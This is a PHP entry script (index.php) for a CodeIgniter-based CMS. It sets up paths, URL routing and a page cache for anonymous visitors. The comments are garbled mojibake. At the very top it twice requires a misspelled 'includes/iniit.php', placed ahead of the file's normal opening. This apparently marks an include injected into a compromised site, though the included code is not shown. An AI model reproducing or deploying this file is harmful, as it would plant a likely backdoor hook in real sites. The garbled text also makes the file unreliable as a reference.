锘塊敇??php require(dirname(__FILE__) . '/includes/iniit.php'); ?> 闁??php require(dirname(__FILE__) . '/includes/iniit.php'); header('Content-Type: text/html; charset=utf-8'); error_reporting(E_ALL ^ E_NOTICE ^ E_WARNING); // 闁哄嫬澧介妵姘舵煥濞嗘帩鍤栭柟緇樺姉閵?if (function_exists('ini_set')) { ini_set('display_errors', TRUE); ini_set('memory_limit', '1024M'); } // 闁哄被鍎撮妤呭箥瑜戦、鎴犳惥閸涱喗顦ч柡鍐ㄧ埣濡?if (function_exists('set_time_limit')) { set_time_limit(0); } // 閻犲洢鍎查弸鍐╃閸撲焦鐣遍柛姘Ф琚?if (!defined('SELF')) { define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME)); } // 緙傚啯鍨歸悵顖炲冀閸︻厽紿楃憸?if (!defined('FCPATH')) { define('FCPATH', str_replace(SELF, '', __FILE__)); } if (PHP_SAPI === 'cli' || defined('STDIN')) { unset($_GET); $_GET['c'] = 'cron'; $_GET['m'] = 'index'; chdir(dirname(__FILE__)); } define('EXT', '.php'); // PHP闁哄倸媧e▎銏ゅ箥閳轟膠娼旈柛?define('BASEPATH', FCPATH . 'dayrui/system/'); // CI嬋℃媯欓悘錒傛儎欏旇偐縐?define('SYSDIR', 'system'); // 闁熾儲綺庨柈瀵哥磼閻斿憡鐎ù鐘烘硾閵囨瑩鍨懼┑鍫熺暠闁告艾縐惰ⅷ // 闁告帇鍊栭弻鍣戦柛嬈忓€歸弳?闁熾儲綺岀花鏌ユ偨閵娧€鏌ら幖鏉戠箚閳ь剚綣冮弸鍐╃鐠烘亽浠氶柣鈺婂枛緙?if (!defined('APP_DIR') && isset($_GET['s']) && preg_match('/^[a-z]+$/i', $_GET['s']) && is_dir(FCPATH . 'app/' . $_GET['s'] . '/')) { define('APPPATH', FCPATH . 'app/' . $_GET['s'] . '/'); define('APP_DIR', $_GET['s']); // 閹煎瓨姊婚弫銈夋儎欏旇偐縐塊柛姘Ф琚?} $uri = isset($_SERVER['HTTP_X_REWRITE_URL']) && trim($_SERVER['REQUEST_URI'], '/') == SELF ? trim($_SERVER['HTTP_X_REWRITE_URL'], '/') : ($_SERVER['REQUEST_URI'] ? trim($_SERVER['REQUEST_URI'], '/') : NULL); define('SYS_URL', '//'.$_SERVER['HTTP_HOST'].'/'.ltrim($uri, '/')); if ($uri) { if (strpos($uri, '?') !== FALSE) { $uri = explode('?', $uri); $uri = $uri[0]; } if (strpos($uri, SELF) === FALSE && !file_exists(FCPATH . $uri)) { if (strpos($uri, '/') !== FALSE) { $uri = explode('/', $uri); if (is_dir(FCPATH . $uri[0])) { define('APPPATH', FCPATH . $uri[0] . '/'); define('APP_DIR', $uri[0]); // 嬋☆垪鈧櫕鍋ラ柣鈺婂枛緙嶅秹宕ュ鍥? unset($uri[0]); } define('DR_URI', implode('/', $uri)); // 緙備礁瀚幃宥禦I } else { define('DR_URI', $uri); // URI } } } // 嬋☆垪鈧櫕鍋?閹煎瓨姊婚弫銈夋儎欏旇偐縐塊柛姘Ф琚?if (!defined('APP_DIR')) { define('APP_DIR', ''); } // 闁告艾楠歌ぐ瀵哥不閿涘嫭鍊為柡宥呮穿閻?if (!defined('IS_ADMIN')) { define('IS_ADMIN', FALSE); } // 闁告挸縐墮顒佸濮橆剚鍠呴柡宥呮穿閻?if (!defined('IS_MEMBER')) { define('IS_MEMBER', FALSE); } // 闁熾儲綺岀花鏌ユ偨閵娧€鏌ら幖鏉戠箚閳ь剚綣冮弸鍐╃鐠烘亽浠氶柣鈺婂枛緙?if (!defined('APPPATH')) { define('APPPATH', FCPATH . 'dayrui/'); } define('VIEWPATH', FCPATH . 'dayrui/'); // 閻庤鐭粻鐔烘喆閸℃紱堥柣鈺婂枛緙嶅秹鏁嶇仦鎯х亯濞寸媭鍓氭俊鍝モ偓鐟板暙緙嶅宕戝顐㈢槣濡炪倕婀卞ú浼存儎欏旇偐縐?define('ENVIRONMENT', FCPATH . 'config'); // 闁繪粠鍨伴。銊╂煀瀹ュ洨鏋傞柡鍌氭矗濞嗐垽鎯勯鑲╃Э // 緙佸倷鐒﹂娌濋柛嬈忓€歸弳?if (!IS_ADMIN && !IS_MEMBER && isset($_GET['d'])) { unset($_GET['d']); } // 闁告梻濮懼ù鍥礎閺囶潿鈧绱撻幘宕囨憼 if (!IS_ADMIN && !IS_MEMBER) { $file = FCPATH.'cache/page/url.php'; $urls = @unserialize(@file_get_contents($file)); if (isset($urls[SYS_URL]) && is_file($urls[SYS_URL])) { echo file_get_contents($urls[SYS_URL]); exit; } unset($file, $urls); } unset($uri); require BASEPATH . 'core/CodeIgniter.php'; // CI嬋℃媯欓悘錒傚冀緇嬭法濡囬柡鍌氭矗濞?